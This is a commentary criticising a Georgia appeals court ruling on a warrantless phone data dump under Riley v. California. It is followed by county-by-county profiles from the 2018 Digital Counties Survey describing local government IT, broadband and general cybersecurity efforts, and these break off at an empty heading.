The Supreme Court's Riley decision made one thing clear: cellphones are not to be searched without a warrant. Somehow, the Georgia Court of Appeals has reached a different conclusion than the Supreme Court of the United States, even as it cites the ruling. [h/t Andrew Fleischman]

It's a decision [PDF] that's decidedly law enforcement-friendly. And it's one that will pair nicely with the FBI's overblown "going dark" assertions. An arrested individual requested his phone so he could retrieve a phone number to give to the officers questioning him. Here's what happened once he had retrieved that info.

Once [Stephens] unlocked his phone, got the information that he needed, the phone was recovered from [Stephens] at that point. It had not locked out, and having the open pass code at that point, . . . I took the phone down the hall to one of our investigators that’s tech savvy and asked him to plug the phone in and do a phone dump, dump the information without reviewing the information and without advising me of anything if he even got anything off of the dump, that the purpose would be for me to be able to obtain a search warrant for the content of the phone. The experience we have is if the phone goes back to password protection, we’re not able to get into it.

A warrant was sought after the data had already been downloaded. Included in the data dump were photos of a gun prosecutors introduced as evidence. The suppression motion challenged the warrantless search. The lower court found a warrant should have been obtained before the data dump began.

The trial court recognized that Stephens had “a right to privacy in the contents of his cell phone,” and also further acknowledged that per Riley v. California, __ U. S. __ (134 SCt 2473, 189 LE2d 430) (2014), “the police may no longer, without a warrant, search such a phone when seized from an arrestee.”

But it also found the officers had a justifiable excuse for the warrantless data grab.

The trial court, however, found that post Riley, “[e]xigent circumstances – such as the risk of imminent loss of data through a remote wipe of the phone – can justify a warrantless search of a seized cell phone.” And, similarly, according to the trial court, police may “take steps to preserve the digital evidence stored in a cell phone while awaiting judicial authorization to search that evidence.” The trial court held that the measure taken here by police of downloading or “dumping” the contents from Stephens’s cell phone without looking at the contents, was permissible under Riley as a “protective step, taken solely to preserve evidence the detective reasonably believed could be destroyed.”

The appeals court sees the trial court's interpretation of Riley and raises.

Here, pretermitting whether the trial court correctly found that the warrantless downloading of the contents of Stephens’s cell phone was permissible under the exigencies exception to the Fourth Amendment, we hold that even if an unlawful search occurred, the evidence acquired from the downloading was admissible under the independent source doctrine.

[...]

Thus, even assuming that the initial downloading was an unconstitutional search, the information subject to the motion to suppress was obtained through the execution of a valid search warrant.

There you have it: two exceptions to the bright line drawn by the Supreme Court. Riley said warrants are needed to search cellphones. The Georgia Appeals Court agrees, but holds that as long as a warrant is obtained at some point in time, the search can happen prior to the acquisition of a warrant.

In this particular case, there's appears to be minimal intrusion. The information used during the trial wasn't acquired until after a search warrant was obtained, at least according to officers' testimony. But allowing searches to take place prior to the acquisition of a warrant encourages bad behavior -- like checking out data dumps for evidence first and building a warrant request around that, rather than the facts known to officers prior to the (warrantless) search.

It also encourages fishing expeditions because a warrantless search has no boundaries. Warrant requests and the judges that approve them set the limitations on the scope of searches, restricting them to only evidence relevant to the criminal allegations laid out in the affidavit. Working backwards from a search to a warrant means the government can redraft its warrant request prior to delivering it to a judge if it sees something else that might make for a better prosecution.

In this case, no search of the data dump occurred before the warrant arrived. That's good but it's not exactly Riley. Exigent circumstances could theoretically apply to any case involving a phone with a passcode, eliminating the warrant requirement and turning it into an afterthought. "Independent source" does the same thing, granting forgiveness for the constitutional violation as long as a warrant is sought post-search. This hole in Riley is somewhat narrowed by the court noting the warrant request wasn't based on any info derived from the data dump. But that only applies to the specifics of this case and that assumes officers won't lie about the chain of events or engage in parallel construction.

It also invites officers to use the "going dark" theory of unbreakable encryption to claim exigent circumstances guide phone searches, rather than the warrant requirement SCOTUS handed down. With cellphone encryption, any momentarily-unlocked phone creates a convenient "exigent circumstance" that's unlikely to be seriously challenged by courts. Even if other tools and workarounds can be used to crack a locked phone, the presence of one temporarily free of roadblocks will be searched to ensure maximum operational efficiency, rather than adherence to the Fourth Amendment as defined by the Riley decision.

This is a bad call by the Appeals Court. It could have found a way to deter future abuse without actually suppressing the evidence. Instead, it gave Georgia law enforcement a road map for warrantless phone searches.



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Nevada County, Calif., 1st Place, up to 150,000 Population Category

In Nevada County, headcount is down 26 percent from pre-recession levels, and CIO Steve Monaghan is learning to do more with less. 

That means doing the big jobs first: Cybersecurity is critical and he’s attacked that. It also means leveraging IT assets. Investments in cloud have helped him to make the most of sparse resources. Mostly, though, Monaghan’s task as an IT leader has been to impart a sense of ownership to all involved in supporting the county’s technology needs. 

“We spend a lot of time building culture around taking an entrepreneurial approach,” he said. “We’ve done workshops, we have done a whole service-management initiative aimed at defining everything we offer, every piece of equipment we manage, so that everything has an owner within IT. Everybody knows who is responsible for what, and we ask people to be entrepreneurs over their own services. We want them to run with the ball.” 

Take for instance the network analyst in charge of the VMware farm. “His documentation is immaculate. He has a very tightly run ship. We know what we have, and as a result the service level is very high. We’ve never had an outage on that virtual farm, because he has really taken it to heart that those are his,” Monaghan said. 

Same goes for the analyst overseeing the replacement of the first-generation VPN platform. “He taps into other members to support that, but ultimately he owns that. There’s a sense of ownership that drives the project forward, which in turn leads to an enhanced, more reliable product for the customer,” Monaghan said.

How can a government IT leader spark that entrepreneurial spirit? Much of it comes down to setting expectations. “In the last six months we had a Ph.D. in organizational development come in for multiple sessions to refresh our Values and Expectations document, to do a workshop geared around what it means to take ownership,” he said. “As IT leaders, we have to build these cultural processes, something bigger than any one project. That’s the secret sauce of delivering excellent IT services.”

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Arlington County, Va., 1st Place, 150,000-249,999 Population Category

CIO Jack Belcher doesn’t just want to be a back-end provider. He says his department’s job is to serve the public good, a mission he pursues with uncommon vigor. 

“If you make sure the network is running, that the servers are secure — well, that’s what you are expected to do,” he said. “Taking it to the next step is what distinguishes a CIO from an IT director. That next step is all about understanding your community.” 

It isn’t easy to know what the public wants or needs, or how IT can best facilitate. To meet the challenge, Belcher has gone right to the source, organizing a series of public gatherings around the theme of “Defining Arlington’s Digital Destiny.” 

“The idea is to bring together leaders from education, from the community, from government, to think about what might be possible,” Belcher said. He’s hosted events on the future of education, the nature of work, and what it means to be an intelligent community. 

These public gatherings have directly informed the IT agenda. Take for example the recently completed deployment of a countywide fiber-optic network. “These discussions transformed our vision of what to do with that asset,” he said. 

Sure, the fiber could spur development and drive economic growth — they knew that going in. But with community input, the vision evolved. “We saw that we could provide an immense value in the form of digital equity, providing people in affordable housing with free broadband access. That helps break the bonds of poverty,” Belcher said. “It took these discussions to bring that idea to the surface and make it possible.”

Community input likewise helped spur development of a mobile project-tracker app to help keep residents informed about civic undertakings. “We want to make that data available in a form where residents can easily find out what we are doing. How are we spending our money? We want to leverage the technology to provide that level of transparency.”

When the CIO seeks citizen input, there’s risk involved. What if they ask for something extravagant? What if they put something entirely unexpected on the table? Belcher said a strong relationship with county leadership gave him the confidence to open that door. “You can’t do this unless your elected officials have the confidence that you are doing the right thing. There has to be a level of mutual trust,” he said.

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Dutchess County, N.Y., 1st Place. 250,000-499,999 Population Category

It’s not just that budgets are stagnant. It’s that, in a time of stagnant budgets, everybody still wants more. Towns want upgraded websites. Cops want cutting-edge technologies. For Glenn Marchi, commissioner of the Dutchess County Office of Central and Information Services, the challenge is to deliver on all that, without breaking the bank. 

“Shared services are key to doing that,” he said. 

This year Marchi’s team worked with public safety officials to bring online emergency 911 service, computer-aided dispatch, and new records managements systems for law enforcement and corrections. The initiative saved the police $500,000 by leveraging county IT resources, including existing hardware and multi-jurisdictional software licenses. 

Marchi has taken the same approach in beefing up the websites of half a dozen towns, police departments and fire districts. His IT professionals will design a site and host it on shared infrastructure. By leveraging these resources across multiple uses, “we can design to exactly their specifications, and we can do it at a lower cost than an outside vendor,” he said.

Towns are free to use outside vendors, and Marchi says isn’t looking to compete with local private-sector IT providers. But he adds that in many cases, the county’s shared-service approach will prove the logical economic choice. 

IT leaders looking to follow this model would do well to reach out actively to civic leaders. The Dutchess County executive hosts an annual Municipal Innovation Summit to ensure mayors and town council members know what is available to them. 

“Our county executive leads that discussion, and anytime an IT solution pops up, my job is to share how that technology can enable a business solution or solve a business problem. I’m there as the CIO for the county to share how technology can be employed to achieve our specific strategic goals,” Marchi said. 

Without such gatherings, it can be hard for a shared services initiative to pick up steam. “We have had seven newly elected town supervisors and mayors in the past year. They have no idea these services are even available,” he said. “It’s our job to tell that story.”

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Sonoma County, Calif., 1st Place, 500,000-999,999 Population Category

When wildfires swept through Sonoma County, Calif. in the fall of 2017, Director of Information Systems John Hartwig found the IT landscape as radically transformed as the rolling hills, now scorched and scarred.

“The wildfires put a lot of things on hold. Everybody had to step back and take a new look at the situation,” he said. Geospatial systems suddenly were front and center, along with document management capabilities. Website volume blew up exponentially.

“GIS, for example, had a huge responsibility in things like tracking the fire, tracking the road closures. All that had a spatial component to it,” he said. “The volume on the websites went up at least three times from everybody trying to seek information and find resources. With document management, suddenly everybody was processing requests that would be essential to us filing for federal aid. That means we needed a lot of forms and a lot of document-capturing tools to make sure our record keeping was clean, consistent and available for future reference.”

The key to success: an early investment in virtualization. 

“We had made an advance move early on to virtual machines, where we were able to shift resources on the fly — storage, memory and processing capacity — to the applications that were most urgent,” Hartwig said. 

The county had begun roughly three years ago to virtualize its server environment: An original inventory of more than 700 servers is now about 90 percent virtualized. That infrastructure delivered the flexibility and agility needed to spin up IT capacity and balance workloads in the face of the new, unexpected demands. 

“It put us in a very good position to add to or share resources. If we have 50 applications that are critical to the response, it’s nice to be able to slide resources over to those applications,” Hartwig said. “I don’t think we could have had all these services up and running if we were still on dedicated equipment.”

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Montgomery County, Md., 1st Place, 1,000,000 or More Population Category

In Montgomery County, Md., the county runs the booze business. Last year that became IT’s problem, and it triggered a renewed focus on cybersecurity.

“The liquor system needed automated support for warehousing, distribution and point of sale. So it was decided that we would incorporate that into our relatively new Oracle ERP system,” said CIO Sonny Segal. That meant a sudden leap in the user base. “We are up to almost 100,000 external identities in addition to the 20,000 county identities.”

Segal already had a watchful eye on cyberissues, but with the massive influx of non-county users on the system, security became the focus of renewed attention. The IT team put new mechanisms in place to guard against spam and phishing attacks. They also tightened end-point management, effectively cutting enterprise vulnerabilities in half.

“We have taken a very aggressive stance on eliminating endpoint vulnerabilities through continual scanning and remediation,” Segal said. “We are not shy about taking end points offline and pursuing replacement and reimaging on a very aggressive schedule. Those things have paid off in the form of greatly reduced risk.”

Segal upped the security game by implementing tighter controls around IT devices, ensuring that all devices that touch county systems are registered for IT security oversight. He also uses dashboards and other reporting mechanisms to hold individuals and departments more publicly liable for their role in supporting the cybereffort.

“We have implemented risk-based dashboards that include the number of people who didn’t take cybertraining, the number of security instances that can be assigned to specific business units,” he said. “That all connects to our dedication to managing by measurement. Our chief administrative officer has each of the department heads accountable in public sessions for measurements in their business areas. Now security is one of those measured scorecards, and as result we have seen significant improvements in risk reduction.”

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Up to 150,000 Population Category

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1st Nevada County, Calif.

One of 10 Sierra Nevada agencies that were ground zero to the state’s formative Gold Rush, Nevada County, Calif., built on IT accomplishments to reclaim the No. 1 spot in the smallest population category for the second time in three years. Guided by a supportive Board of Supervisors that has set clear technology investment policy, a strategic plan focused on service and an enterprise technology reserve fund, the county of nearly 100,000 has expanded and refreshed online and tech offerings.

County supervisors prioritized innovation in their 2018 value statements, forming an innovation team led by the chief information officer. The county also held a Citizen’s Academy to educate residents on their government. It launched a new regional law enforcement activity map last month, and has created a new public communications position aimed at identifying ways to improve information pushed out to the public through social media and the Internet. The agency is in early stages on an enterprise-level contract management system and has implemented a new in-vehicle video system that fosters collaboration between its district attorney and sheriff’s office.

Nevada County's CivicPlus-powered public website went live in August 2017 with responsive design that eliminated the need for a separate mobile site. The MyNeighborhood app on the website offers parcel, land and property data with new layers documenting marijuana ordinance and roadway information; and the county’s Open Data Portal offers residents a better way to search 18 layers of GIS data. AskNevadaCounty, another app accessible through the website, uses Accela’s customer relationship management (CRM) system to sort questions in eight categories, submit service requests and get answers from six city departments. Plus, new kiosks facilitate residents’ access to probation, sheriff’s and building departments, enabling functions including probationer self-service and building plan submission.

2nd Albemarle County, Va.

Although it slipped from first to second place this year, Albemarle County, Va., (population 108,000) continues its success in transparency and efficiency for citizens. The county uses GIS-enabled apps to let the public view open building permits and important county records like building applications and parcel activity. Residents are also encouraged to give feedback on the county budget and stay up to date with e-newsletters, email and community meetings. The county Board of Supervisors authorized the establishment of a broadband authority to meet the area's growing Internet needs, and the authority has gotten a $430,000 grant to expand broadband and improve wireless coverage for first responders in rural Albemarle.

Albemarle considers cybersecurity an important concern. The county partners with the University of Virginia and the city of Charlottesville to discuss cybersecurity issues, and meets with other universities, school districts and localities statewide to publish the Cybersecurity Partnership for Virginia Cities and Counties report (funded by the National Science Foundation).

This region shares just one emergency communications center, and this year, the county successfully rolled out two records management systems for four public safety agencies to replace incompatible legacy systems. IT teams partnered to launch New World Systems for the police department and Image Trends for fire and rescue, as well as computer-aided dispatch system updates.

3rd Allegan County, Mich.

Third place is a familiar ranking for Allegan County, Mich., which finished in the same spot for counties of up to 150,000 residents last year. Despite this success, county leadership notes, however, that within its ongoing vision it needs to be “continuing to evaluate the technology itself to find efficiencies that will ultimately help offset increasing costs.” If there’s a simpler way to sum up the heart of gov tech efforts, we haven’t heard it. It all speaks to Allegan’s practicality. This is an efficient county that is, for example, prolonging the life of its PCs and laptops by using virtual desktops, thereby still enabling quick and responsive computing. Allegan has also redirected money saved there to cybersecurity.

Meanwhile, the county continues to use analytics and look at trends to tailor its website to customer needs, also using data to build new online services and improve upon existing ones. Data is also helping the county with law enforcement and emergency services deployment, for which it is using GIS and computer-aided dispatch mapping to enhance preparedness, noting emergency management events “rely on data sharing, real-time mapping and data system integrations.” This is especially important with an aging nuclear power plant nearby. The county is also engaged in smaller improvements such as replacing its online court calendar system and deploying digital signage that displays docket information in its courthouse lobby. It’s also improving its online veteran services site and its parks reservation system. Moving forward, digital inclusion is also a priority. The past two years, the county has worked with the Connect Michigan Public Services Commission to complete a broadband assessment. That info is now being used by local city leaders to guide projects aimed at increasing broadband access within their communities.

4th Mono County, Calif.

Mono County, Calif., is home to 13,981 residents, and while it may be small in terms of its population, it has big plans for the future. Mono County, which tied for fourth place in its population category, is currently working with the California Department of Transportation to explore using the Highway 395 corridor and the fiber-optic network that runs alongside it as a testing site for smart transportation technologies. The county is envisioning using Highway 395 as a testbed for autonomous vehicles and other emerging technologies, given its two-hour proximity to Tesla’s Gigafactory in Reno, Nev.

In addition to its smart transportation aspirations, Mono County has several Web initiatives as well. The Transparent Mono County website portal is expected to roll out this month and consolidate its open and transparent applications into one location, which will also feature the capabilities to allow users to retrieve information in three clicks or fewer. The county’s website also has an area for contractors and vendors to bid on its projects using a platform where they can enter their business profile, respond to open RFPs and receive notification of new projects.

4th Montgomery County, Va.

Montgomery County, Va., population 98,509, managed to hold onto its fourth-place spot for a third year in a row, this year tying with Mono County, Calif. The county continued its focus on cybersecurity with the completion of two cybersecurity assessments, one by the Virginia National Guard’s Data Processing Unit and the other with a private entity. Recommendations from those assessments will be implemented in a three-phase cybersecurity plan, the first phase of which has already been completed. The county also this year hired a full-time network engineer/security analyst to oversee software and system patches and address vulnerability concerns.

The county has opened a couple of new buildings, including a state-of-the-art dispatching facility for the newly established New River Valley Emergency Communications Regional Authority (911 Authority). The 911 Authority centralizes dispatch functions for the Montgomery County Sheriff’s Office, Virginia Tech Police Department, and the police departments for the towns of Blacksburg and Christiansburg. The Authority has plans to implement next-generation 911 capabilities, including text messaging, into its dispatch services in the future. The Montgomery County Sheriff’s Office also got 30,000 square feet of office space in a new Public Safety Building, and the Animal Care and Adoption Center opened its new facility to the public in April 2017. Animal adoptions have increased thanks to the improved environment in the new facility, as well as the implementation of a cloud-based animal care management site and a pet finder site. The county’s dedication to social media paid off last summer during a dog food supply shortage — a “code red” Facebook post saw 1,500 pounds of food donated within two days. A second "code red" for kitten food a month later reached nearly 17,000 people and was so effective that some area stores were sold out.

5th Napa County, Calif.

Napa County has been through a lot in the past six months. Its population of 142,456 went through a month-long wildfire in October, where devastation eventually spread across multiple Northern California counties. Staying in fifth place for the second year, Napa County is working toward a citizen-centric approach for IT with constituent safety at the forefront. With the wildfire came shocking realizations about weaknesses in emergency operations. The Emergency Operations Center purchased additional GIS technology to gain more knowledge on pertinent geographical data. IT is also working with Health and Human Services to create a data warehouse to connect data analytics capabilities to different programs in Napa. The existing 911 system will also eventually be replaced, extending service to American Canyon and Yountville in the process. During the fire when people weren’t being notified of what was going on, officials knew change was needed. IT is in the process of purchasing InformaCast, a notification system, to provide enhanced staff notification during emergency events. Currently in place is a NIXLE channel used to communicate emergency alerts, recovery information and act as a key source for community messaging and connectivity. NIXLE is also used to send text alerts on road closures, evacuation orders, shelter information and recovery details.

And despite the focus on getting better prepared for emergencies, traditional IT also got some upgrades. The county website was redesigned and moved to a modern content management system, creating more efficient access to GIS data. Throughout the year, IT leadership will continue beefing up security practices to better safeguard county data, regardless of its location.

5th Roanoke County, Va.

Roanoke County, Va., retained its fifth-place spot this year, continuing to build on its impressive array of open data and citizen engagement efforts with a new app that provides its 93,655 residents with information about the new federal Mountain Valley Pipeline that will run through the county. Through the Mountain Valley Pipeline Viewer application, residents can use an interactive map to view layers of information about the project, including various routes, mile-post markers, workspace areas and tax parcels.

Roanoke County gathered some of the information for the Pipeline Viewer app through the efforts of its newly formed Drone Team, which did a flyover of the project site to map the area. Created under the auspices of the county Fire and Rescue Department in order to help evaluate fire areas and find lost hikers, the Drone Team has quickly proven that it has many more potential applications than were originally envisioned for it. The county is planning on using the team to conduct inspections and create orthomosaics, 3-D meshes and more that will assist in future projects.

The security breach that affected the city of Atlanta at the beginning of 2018 was enough of a wake-up call for Roanoke County to decide that it needed to take a serious look at its own cybersecurity posture. While the county received a good score on a vulnerability assessment conducted by the Virginia National Guard, just above a four on a five-point scale, it discovered that it needed to improve its security training for employees and is already making plans to do so.

6th Franklin County, Va.

In Franklin County, Va., supporting residents and government operations has most notably centered on public safety. These efforts include ongoing improvements to the fire and rescue radio system, and a 911 dispatch fail-over plan with neighboring Patrick County. Additionally Franklin County is leveraging mapping and data to assess response times and make improvements to how public safety crews are deployed. Mapping critical infrastructure, like gas lines, has also been an ongoing effort to keep the county’s 56,000 residents and public safety teams safe during emergency situations.

When it comes to Internet connectivity, Franklin County is taking a proactive approach to broadband through public-private partnerships. The county is currently assessing where technology and service is most lacking and using that information to prompt conversations with service providers about how to fill gaps and design an inclusive coverage plan.

Cybersecurity continues to be a work in progress in the county. Awareness training and cybersecurity insurance are part of the plan, but the county’s detailed strategy continues to evolve as its needs are identified and change. Like many other counties, Franklin is not doing this work unhampered. The state continues to add requirements while funding recedes, and changes to the tax base have prompted discussions about where to go next. A rapidly aging population is compounding the issue of revenue and taxable income. In spite of these challenges, the county is looking to redevelop a business park to move the needle and create more opportunity for tax revenue to make its way into county coffers.

6th York County, Va.

For a county in the smallest population category, York County, Va., has a surprising number of leading technology efforts underway. Many endeavors underline a strategy of upgrading and streamlining systems to operate as efficiently as possible. Examples include consolidating data centers and a new financial management system. York County’s commitment to transparency is demonstrated by a public portal now in development that will offer timely financial information, including tax and real-estate data, on a public dashboard. Engagement tools in regular use include online surveys, a resident notification service, video streaming and an active Facebook presence that has increased its followers by more than 200 percent over the past year and a half. When it comes to public safety, the county sheriff’s department is using drone technology to enhance crime-fighting efforts and lobbying to allow the use of drone-captured data in judicial proceedings. High marks also go to York County for its cybersecurity practices, which it has built upon significantly in recent months. An additional layer of intrusion detection now safeguards police bodycam video on its way to the cloud, as well as the county’s open Wi-Fi network. In-depth traffic analysis helps keep tabs on user activity and ongoing awareness training is continually enhanced to meet evolving threats.

7th Skagit County, Wash.

Located north of Seattle, Skagit County, Wash., faces a host of issues despite the state’s overall healthy economy. Technology is expected to play a key role in improving the county’s public health concerns, for example, with the deployment of a software tool that will evaluate the effectiveness of county health initiatives. New mapping and analytics software will also help the county prevent drug overdoses and deaths. Skagit is mounting a major community engagement initiative that will make meetings more productive and draw in underrepresented groups, and technology will make the county’s engagement more interactive. For example, the government expects to have an online survey tool that will allow commissioners to see how well they are engaging the community, and how they can improve engagement and measure feedback around such issues as new infrastructure for ferry service. The county has also modernized service operations with the Information Technology Infrastructure Library service models, and is the first county to implement a “one-stop” property search that integrates data from separate internal systems to provide a common view of information on its public website.

8th Summit County, Utah

With a population of just under 40,000, Summit County comes in eighth place in its population category for its work in public safety and emergency preparedness, among other initiatives. In reviewing its disaster recovery plan in 2016, the county found they it did have not the computer power to set up a hot site during a disaster. The county purchased the necessary equipment and installed it in late 2017. It included three Dell R630 servers running VMware VSphere 6.5 and a Dell Compellent SC4020 Storage Array with 30 TB of usable disk space. This was a small build, but major for a smaller county and significant, as the county can now run all its applications and storage on it if the main systems were to go down. The setup is a mirror image to the current one and can be flipped and installed in a few hours.

One of Summit County Council’s top strategic goals is to improve the transportation system by reducing traffic congestion. The Bike Share mobile app was a pilot started in 2017 in the hopes of reducing traffic in the summer. It allows residents to register by website or smartphone and pay for rentals, and the “electric bike share” was a huge success. The public signs up easily via smartphone and the website provides statistics on the usage of bikes.

9th Chatham County, N.C.

Chatham County, N.C., is a newcomer to the rankings, finishing 9th  for jurisdictions in its population category. Located in the Piedmont area of the state, just west of Raleigh, Chatham County adopted a new comprehensive plan in late 2017. The county notes that “until that plan was adopted the efforts of Chatham County tech efforts have been pretty traditional.” In the months since it has been put in place, however, the tech team has been rebranded "Chatham IT" and now includes representatives from all county agencies that service other departments. This helps to align tech efforts with ongoing work to improve the overall county government while also continuing traditional IT support. Technologists in Chatham have worked hard to make themselves more visible so that their work is included in all ideas and vendor efforts.

In terms of public-facing work, the comprehensive plan has been published online in its entirety to foster transparency and accountability. While discussions have been had around providing more open data, work has not progressed past the discussion phase. The county website, however, is being reworked with a citizen-centric vision that has already led to the additions of a permitting portal and e-notices. Chatham is also working to collaborate with local municipalities to help bring broadband to unserved and underserved areas, with one specific effort taking the form of grant applications for funding. Throughout the survey, however, what is perhaps most striking about Chatham is its potential for the future. Tech and innovation work at the moment is a bit modest, but with the comprehensive plan now in place, a commitment is being made to incorporating it into more efforts moving forward.

10th Gloucester County, Va.

A sparsely populated coastal region, Gloucester County, Va., cites developing wireless broadband throughout the area as one of its top priorities, an effort that recently resulted in a new public-private agreement with Cox Communications. And in January 2018, broadband was made available for 96 residential and 20 commercial properties in the northern half of the small county, home to a total of fewer than 37,000 citizens.

County meetings are streamed live to residents via the Granicus platform, while other avenues to encourage citizen engagement include text-to-voice Readspeaker via the county website, which also makes more information around budgets and compensation available. In additional engagement efforts, Gloucester County is active on social media, communicating with constituents on platforms like Facebook, Twitter, Pinterest and LinkedIn. This year the county also updated its website, streamlining services to citizens and making content ADA compliant.

Gloucester County is in the process of syncing currently siloed databases and systems, an effort that could lead to the development of dashboards, data-consolidation and error-proofing. They are also working toward implementing a central ERP system to create efficiencies across the agency. In the interest of creating strong cybersecurity with a small footprint, the county has moved several key applications to software-as-a-service and other hosted environments.

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150,000-249,999 Population Category

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1st Arlington County, Va.

Arlington County is a first-place digital county for the third year running. Of note among an impressive array of comprehensive initiatives are the county’s engagement efforts, where they continually demonstrate a commitment to service delivery that aligns with citizen priorities. To standardize on their own proven strategies, the county has published a six-step public engagement guide outlining a process for capital projects guided by principles including inclusion and mutual respect, timely and accessible communication, transparency, and accountability. The county is also making strides on open data, with an advisory group weighing in on efforts like an inventory of countywide data, identifying data-sharing opportunities, establishing governance policies and partnering with local universities to extend analytics capabilities. New online tools include an internally developed library app that offers users geolocation, bar code scanning, notifications, meeting room booking and catalog search features.

Collaborative endeavors include serving as host to the first regional government chief information officer summit to facilitate coordination between local jurisdictions on technology and innovation-related issues. Along those same lines, the county is looking into a partnership with area public schools to share network and telephone systems to make operations more efficient. When it comes to cybersecurity, Arlington County has added many new and upgraded tools to its arsenal to guard against phishing emails, ransomware and malware, as well as other threats to the network. A “quick-step” button gives staff a simple way of passing suspicious emails along to IT staff as attachments. To fortify its disaster recovery posture, the county is transitioning from its two county-based data centers to an “active-active” data center setup off-premise in colocation facilities.

2nd Charles County, Md.

Advancing into second place since last year, Charles County has a long-running history with the Digital Counties survey — and 2018 is no different. The county’s ability to build upon its citizen-centric focus plays a large part in its success. Transparency between the locality and constituents is key — and making strides to connect broadband in rural communities is a big piece of the effort. Charles County has been working with cable TV franchises as well as private Internet service providers (ISPs) to help extend connectivity to rural areas.

Expansive online initiatives also help get citizens involved. The county website provides easily navigable resources, including a transparency page to view county budget information, audit reports, and salary data at any time and an interactive checkbook. The GetConnected program also became a mobile-friendly tool that helps connect residents and most of the county’s social media links, all on one page. Internally, the county’s Institutional Network (INet) connects over 120 anchor sites and city departments.

Strengthening cybersecurity efforts continues to be an area of focus for Charles County IT. The Cybersecurity Awareness Training program provides a curriculum for and assessment of full-time and part-time employees in best cybersecurity practices. As mentioned last year, the county chose to retain its cybersecurity insurance to guard against breaches. Taking it one step further, the county will test its own network by undergoing a Comprehensive Risk Assessment.

3rd Cabarrus County, N.C.

Though investing heavily in education and school construction, Cabarrus County, N.C., has continued to support and fund technology initiatives to automate and consolidate services, create shared services, and increase collaboration between departments and jurisdictions. The county partnered with SeamlessGov to transform the way citizens interact with the government and complete a mobile-friendly website redesign with user-optimized content. The new site offers an intuitive and consistent user experience that modernizes citizen/staff interactions. The site provides an integrated live chat feature with a chatbot that offers articles from a new help portal. And if the article doesn’t meet the citizen’s needs, they are connected to an integrated help desk contact form.

The county’s Open Data platform, using Esri ArcGIS online subscriptions, was redesigned for mobile access to provide county data; support local, regional and national collaboration; and provide self-service access to residents, businesses, municipalities, researchers and economic developers. The county also boasts new informational video vignettes to engage and inform citizens about government activities, services and events.

4th Boone County, Mo.

Boone County, Mo., home of the University of Missouri, rose from 10th place in its category in 2017 to fourth place in this year’s survey. Located in the literal heart of the state about midway between Kansas City, Mo., and St. Louis, Mo., Boone County is just a short drive north of the state’s capital. The jurisdiction’s most significant accomplishment in the past 12 months was perhaps the ongoing redesign of its website, more than half of which is now live and available to the public. Like many jurisdictions, Boone is using this redesign to make its overall Web presence more user-friendly, complete with enhanced access to services and data. To that end, the redesign is being guided by citizen-centric research, which has already led to new features such as embedded social media feeds, mobile-friendly functionality, and consolidated menus. Work on the website will continue moving forward in phases.

In terms of internal improvements, much has been done for emergency responsiveness. Last year, the city and county 911 services were consolidated, and they have now moved into a new centralized crisis management hub. Responders and adjacent personnel have also transitioned to new software and a new database that make it easier to share information and do things in the field such as record road closures with a mobile device for subsequent upload to public-facing platforms. Hiring processes have also become more efficient throughout the county, with many moving from paperwork to a digital portal. Although much of the work in Boone is practical, there is innovation underway as well. One such project includes a collaborative effort between Boone County IT, the University of Chicago and the Corporation for Supportive Housing to develop a data aggregation tool to identify citizens in need of homelessness assistance or other services.

5th Davidson County, N.C.

Davidson County, located adjacent to Winston-Salem, N.C., has been a leader in performance-based budgeting for more than 15 years. By focusing on outcomes and evaluating programs by measuring the relationship between resources and results, the county has saved over $29 million during that time period. A key driver in performance budgeting has been technology. For example, Davidson has invested in document management software for its human resources department that has eliminated inefficient paper management while freeing up valuable space once occupied by filing cabinets.

The county also attributes its open, transparent government policies and practices to the success of performance-based budgeting. Examples include live streaming of all commissioner board meetings and a public-facing budget and financial dashboard that shows citizens how and where county funds are being used. To bolster its IT security needs, the county has been carrying cyberinsurance for the past six years. This is in addition to several comprehensive cybersecurity measures taken by the county to protect its information assets.

5th Pitt County

When it comes to providing improved health care for citizens, Pitt County, N.C., which serves 175,842 residents and ranked fifth in the 150,000-249,000 population category, took on two health-care-related initiatives.

In a public-private partnership, Pitt County teamed up with Vidant Health to leverage the company’s investment in electronic health records. In 2017, the county finalized an agreement with Vidant to service resident needs by using the company's hosted electronic health record system. The county found it provided a better health outcome for residents while keeping a lid on costs. PulsePoint, which launched earlier this year, is a public-facing mobile app that lets CPR-trained residents volunteer as first responders in emergencies by connecting to Pitt County’s 911 data system. This app, along with the Vidant partnership, aids the county in its three-year Technology Strategic Plan, which aligns technology initiatives with the county’s mission and goals.

Other initiatives from Pitt County include the addition of a location-based open data platform from Esri, which features frequently-requested information in user-friendly formats. Self-service tools allow citizens to filter, sort and export many types of data, including planning and permitting, land records, education and parks and recreation. The tool is a vastly improved resource compared to the previous county data portal. In addition, a new complaint tracking tool for environmental health allows staff to better monitor conditions and predict future outbreaks.

6th Delaware County, Ohio

Delaware County has taken a number of steps to better communicate and engage with constituents. A farming community north of Columbus, Delaware County is also the fastest-growing county in the state, making improved opportunities to connect with residents all the more essential. Some of these improvements include rebranded visuals such as the county website, which was relaunched in April 2018 after a seven-month overhaul. Public meetings are live-streamed via YouTube, which allows for viewing on mobile devices. The county has also turned to Survey Monkey as well as social media platforms for feedback from residents related to county infrastructure needs.

In June 2018, the county plans to have launched its Text 911 service, which allows the public to send text messages to the Emergency Communications Dispatch Center. And in the Clerk of Court office, court documents can now be e-filed, and search capabilities are now available for attorneys and the public.

Meanwhile, the Delaware County Auditor is now using remotely sensed infrared imagery technology to detect crop types, total acreage and other information. The county is also putting drone technology to work, using UAV imaging tools to inform status updates for the public on various county projects. Other notable efforts include tangible steps toward reducing paper use, and tablet computers issued to county assessors to encourage increased productivity in the field.

7th Union County, N.C.

In Union County, N.C., technology is not about the shiniest new tools or throwing money at problems — it’s about meeting the needs of the more than 222,740 residents and county staff. With a dedicated IT team of just 14, the county has been able to meet the demands of a rapidly changing environment while investing in areas that will serve as the foundation for future innovations. One such example is efforts to implement data standards to ensure that digital records are not only secure, but accessible for future users. In a similar vein, IT staff are evaluating outdated legacy systems for retirement and pushing to digitize physical documents. County staff are also working to create an interdepartmental form and file structure for the planning, inspection, tax and registrar departments. This will improve efficiencies and simplify home purchase paperwork across the four departments.

When it comes to cybersecurity and resilience, Union County makes a valiant effort to defend its IT infrastructure — even in the face of harsh and sometimes dangerous weather. In addition to having a full-time cybersecurity professional dedicated to securing tech assets, an off-site location protects county data from the likes of hurricanes, tornadoes, severe winter weather and even earthquakes. Data is backed up nightly and checked to ensure it is intact and uncorrupted. Plans are in the works to relocate the backup center.

8th Onslow County, N.C.

